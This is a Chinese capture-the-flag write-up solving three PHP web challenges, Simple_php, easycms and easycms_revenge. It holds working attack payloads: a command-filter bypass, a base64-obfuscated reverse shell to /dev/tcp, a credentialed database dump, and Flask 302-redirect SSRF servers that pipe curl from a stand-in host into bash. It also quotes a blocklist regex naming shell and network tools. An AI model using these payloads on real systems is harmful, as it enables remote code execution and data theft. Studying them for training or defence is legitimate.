# web
# Simple_php
<?php | |
ini_set('open_basedir', '/var/www/html/'); | |
error_reporting(0); | |
if(isset($_POST['cmd'])){ | |
$cmd = escapeshellcmd($_POST['cmd']); | |
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { | |
system($cmd); | |
} | |
} |
过滤了很多函数,前面还加了 escapeshellcmd
阻止多命令
可以用 diff
和 paste
来读文件
diff
直接查目录 cmd=diff / /tmp
ps aux
有个 mysql 跑,flag 在 mysql 里。但是没有交互不好查表
可以选择 mysqldump -uroot -proot --all-database
直接 dump 数据
由于没有 ban php
,也可以用 php 动态调用的特性直接反弹 shell
php 中 md5()
不传参的情况下返回值为空
str_replace("test",md5(),"batestse64_decode") --> base64_decode |
php -r echo((str_replace("test",md5(),"batestse64_decode"))("L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL2lwL3BvcnQgMD4mMQ")); |
反弹 shell 进 mysql
# easycms
hint
提示 1: /flag.php: | |
if ($_SERVER ["REMOTE_ADDR"] != "127.0.0.1"){ | |
echo "Just input 'cmd' From 127.0.0.1"; | |
return; | |
} else { | |
system ($_GET ['cmd']); | |
} | |
提示 2:github 找一下源码? |
xunruicms
,在 dayrui\Fcms\Control\Api\Api.php:50
有生成二维码的方法,其中经过 dr_catcher_data
调用 curl,可以造成 ssrf
源码如下(黑盒):
public function qrcode() { | |
$value = urldecode(\Phpcmf\Service::L('input')->get('text')); | |
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb')); | |
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size'); | |
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level')); | |
// 生成二维码图片 | |
require_once CMSPATH.'Library/Phpqrcode.php'; | |
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png'; | |
if (false && !IS_DEV && is_file($file)) { | |
$QR = imagecreatefrompng($file); | |
} else { | |
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3); | |
if (!is_file($file)) { | |
exit('二维码生成失败'); | |
} | |
$QR = imagecreatefromstring(file_get_contents($file)); | |
if ($thumb) { | |
if (strpos($thumb, 'https://') !== false | |
&& strpos($thumb, '/') !== false | |
&& strpos($thumb, 'http://') !== false) { | |
exit('图片地址不规范'); | |
} | |
$host = parse_url($thumb,PHP_URL_HOST); | |
$ip = gethostbyname($host); | |
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){ | |
exit("ip不正确"); | |
} | |
$img = getimagesize($thumb); | |
if (!$img) { | |
exit('此图片不是一张可用的图片'); | |
} | |
$code = dr_catcher_data($thumb); | |
if (!$code) { | |
exit('图片参数不规范'); | |
} | |
$logo = imagecreatefromstring($code); | |
$QR_width = imagesx($QR);// 二维码图片宽度 | |
$logo_width = imagesx($logo);//logo 图片宽度 | |
$logo_height = imagesy($logo);//logo 图片高度 | |
$logo_qr_width = $QR_width / 4; | |
$scale = $logo_width/$logo_qr_width; | |
$logo_qr_height = $logo_height/$scale; | |
$from_width = ($QR_width - $logo_qr_width) / 2; | |
// 重新组合图片并调整大小 | |
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height); | |
imagepng($QR, $file); | |
} | |
} | |
// 输出图片 | |
ob_start(); | |
ob_clean(); | |
header("Content-type: image/png"); | |
$QR && imagepng($QR); | |
exit; | |
} |
由于通过 gethostbyname()
函数拿到 ip,一般对 regex 的 bypass 没法绕过
只能用 302 跳转
@app.route('/') | |
def index(): | |
return redirect("http://0.0.0.0/flag.php?cmd=curl%20https://your-shell.com/ip:port|bash") |
# easycms_revenge
源码(黑盒):
public function qrcode() | |
{ | |
$value = urldecode(\Phpcmf\Service::L('input')->get('text')); | |
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb')); | |
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size'); | |
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level')); | |
// 生成二维码图片 | |
require_once CMSPATH . 'Library/Phpqrcode.php'; | |
$file = WRITEPATH . 'file/qrcode-' . md5($value . $thumb . $matrixPointSize . $errorCorrectionLevel) . '-qrcode.png'; | |
if (false && !IS_DEV && is_file($file)) { | |
$QR = imagecreatefrompng($file); | |
} else { | |
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3); | |
if (!is_file($file)) { | |
exit('二维码生成失败'); | |
} | |
$QR = imagecreatefromstring(file_get_contents($file)); | |
if ($thumb) { | |
if (strpos($thumb, 'https://') !== false | |
&& strpos($thumb, '/') !== false | |
&& strpos($thumb, 'http://') !== false) { | |
exit('图片地址不规范'); | |
} | |
$parts = parse_url($thumb); | |
$hostname = $parts['host']; | |
$ip = gethostbyname($hostname); | |
$port = $parts['port'] ?? ''; | |
$newUrl = $parts['scheme'] . '://' . $ip; | |
if ($port) { | |
$newUrl .= ':' . $port; | |
} | |
$newUrl .= $parts['path']; | |
if (isset($parts['query'])) { | |
$newUrl .= '?' . $parts['query']; | |
} | |
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { | |
exit("ip不正确"); | |
} | |
$context = stream_context_create(array('http' => (array('follow_location' => 0)))); | |
$img = getimagesizefromstring(file_get_contents($newUrl, false, $context)); | |
if (!$img) { | |
exit('此图片不是一张可用的图片'); | |
} | |
$code = dr_catcher_data($newUrl); | |
if (!$code) { | |
exit('图片参数不规范'); | |
} | |
$logo = imagecreatefromstring($code); | |
$QR_width = imagesx($QR);// 二维码图片宽度 | |
$logo_width = imagesx($logo);//logo 图片宽度 | |
$logo_height = imagesy($logo);//logo 图片高度 | |
$logo_qr_width = $QR_width / 4; | |
$scale = $logo_width / $logo_qr_width; | |
$logo_qr_height = $logo_height / $scale; | |
$from_width = ($QR_width - $logo_qr_width) / 2; | |
// 重新组合图片并调整大小 | |
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height); | |
imagepng($QR, $file); | |
} | |
} | |
// 输出图片 | |
ob_start(); | |
ob_clean(); | |
header("Content-type: image/png"); | |
$QR && imagepng($QR); | |
exit; | |
} |
这里重写了获得图片信息的逻辑,并且阻止 302 跳转了
$context = stream_context_create(array('http' => (array('follow_location' => 0)))); |
但只是第一次访问的时候会判断是否图片,是则用 curl 再访问一遍
可以看到第二次用 curl 访问的时候明显多个 Accept 参数,所以在 302 跳转前加个判断即可
也可以用全局计数,第一次访问返回正常图片,第二次 302
@app.route('/') | |
def index(): | |
global visited | |
if not visited: | |
visited = True | |
return send_file('./1.png', mimetype='image/png') | |
else: | |
visited = False | |
return redirect("http://0.0.0.0/flag.php?cmd=curl%20https://your-shell.com/ip:port|bash") |